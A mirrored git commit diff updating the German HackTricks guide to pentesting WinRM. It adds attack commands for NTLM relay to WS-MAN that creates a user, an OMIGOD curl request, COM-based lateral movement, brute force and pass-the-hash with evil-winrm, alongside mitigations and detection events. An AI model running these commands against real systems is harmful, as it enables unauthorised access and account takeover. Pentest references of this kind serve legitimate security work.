mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
1c2742f27b
commit
23c2fce3b4
@ -6,7 +6,7 @@
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) wird als ein **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als eine HTTP-basierte Schnittstelle für WMI-Operationen.
|
||||
|
||||
Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM betriebsbereit ist, wird empfohlen, das Öffnen bestimmter Ports zu überprüfen:
|
||||
Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, das Öffnen bestimmter Ports zu überprüfen:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
@ -20,7 +20,7 @@ Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting`
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
|
||||
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der aufgrund seiner Implikationen sorgfältig überlegt werden muss. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
|
||||
|
||||
Darüber hinaus kann WinRM **ferngesteuert aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
|
||||
```bash
|
||||
@ -30,7 +30,7 @@ Diese Methode ermöglicht die Remote-Einrichtung von WinRM und verbessert die Fl
|
||||
|
||||
### Testen, ob konfiguriert
|
||||
|
||||
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erwarten, die auf eine erfolgreiche Konfiguration hinweisen. Unten sind Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen:
|
||||
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erwarten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend sind Beispiele aufgeführt, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen:
|
||||
|
||||
- Für ein Ziel, das **ordentlich** konfiguriert ist, wird die Ausgabe ähnlich wie folgt aussehen:
|
||||
```bash
|
||||
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
|
||||
### Brute Force
|
||||
|
||||
Seien Sie vorsichtig, das Brute-Forcing von winrm könnte Benutzer blockieren.
|
||||
Seien Sie vorsichtig, das Brute-Forcen von winrm könnte Benutzer blockieren.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
@ -148,7 +148,7 @@ evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Um evil-winrm zu verwenden, um sich mit einer **IPv6-Adresse** zu verbinden, erstellen Sie einen Eintrag in _**/etc/hosts**_, der einen **Domainnamen** der IPv6-Adresse zuweist, und verbinden Sie sich mit dieser Domain.
|
||||
|
||||
### Pass the hash mit evil-winrm
|
||||
### Pass the hash with evil-winrm
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
@ -220,7 +220,72 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Aktuelle Schwachstellen & Offensive Techniken (2021-2025)
|
||||
|
||||
### NTLM-Relay direkt zu WinRM (WS-MAN)
|
||||
Seit Impacket 0.11 (Mai 2023) kann `ntlmrelayx.py` erfasste NTLM-Anmeldeinformationen direkt an einen **WS-MAN**/WinRM-Listener weiterleiten. Wenn ein Host weiterhin auf **unencrypted HTTP (5985)** lauscht, kann ein Angreifer *mitm6* (oder *Responder*) kombinieren, um die Authentifizierung zu erzwingen und SYSTEM-Level-Codeausführung zu erlangen:
|
||||
```bash
|
||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||
--command "net user pwned P@ssw0rd! /add"
|
||||
```
|
||||
Mitigationen
|
||||
* Deaktivieren Sie HTTP-Listener – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||
* Erzwingen Sie HTTPS und aktivieren Sie den erweiterten Schutz für die Authentifizierung (EPA) in aktuellen Windows-Versionen.
|
||||
|
||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||
Azure Linux-Agenten verwenden den **Open Management Infrastructure (OMI)**-Dienst, der die WinRM/WS-MAN-API auf den Ports **5985/5986** bereitstellt. Ein Logikfehler ermöglichte **unauthentifizierte RCE als root**:
|
||||
```text
|
||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||
```
|
||||
Patch oder entfernen Sie OMI (Version ≥ 1.6.8-1) und blockieren Sie diese Ports aus dem Internet.
|
||||
|
||||
### Missbrauch von WSMan.Automation COM für laterale Bewegung
|
||||
WinRM kann ohne PowerShell über das `WSMan.Automation` COM-Objekt gesteuert werden – nützlich auf Systemen im Constrained-Language-Modus. Tools wie *SharpWSManWinRM* umhüllen diese Technik:
|
||||
```powershell
|
||||
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||
$session.Signal($cmdId,0)
|
||||
```
|
||||
Die Ausführungskette (`svchost → wmiprvse → cmd.exe`) ist identisch mit klassischem PS-Remoting.
|
||||
|
||||
---
|
||||
|
||||
## Tool-Updates
|
||||
|
||||
* **Evil-WinRM v3.x (2024)** – unterstützt jetzt **Kerberos** (`-k` / `--spn`) und **zertifikatbasierte** Authentifizierung (`--cert-pem`/`--key-pem`), Sitzungsprotokollierung (`-L`) und die Möglichkeit, die Remote-Pfadvervollständigung zu deaktivieren (`-N`).
|
||||
|
||||
```bash
|
||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||
```
|
||||
|
||||
* **Python – `pypsrp` 0.9 (2024)** bietet WinRM & PS-Remoting von Linux aus, einschließlich CredSSP und Kerberos:
|
||||
|
||||
```python
|
||||
from psrp.client import Client
|
||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||
```
|
||||
|
||||
* **Erkennung** – überwachen Sie das **Microsoft-Windows-WinRM/Operational** Protokoll:
|
||||
* Ereignis 91 / 163 – Shell erstellt
|
||||
* Ereignis 182 – Authentifizierungsfehler
|
||||
* Im Sicherheitsprotokoll zeichnet Ereignis 4262 die Quell-IP auf (hinzugefügt Juli 2022 CUs).
|
||||
Sammeln Sie diese zentral und alarmieren Sie bei anonymen oder externen IPs.
|
||||
|
||||
---
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user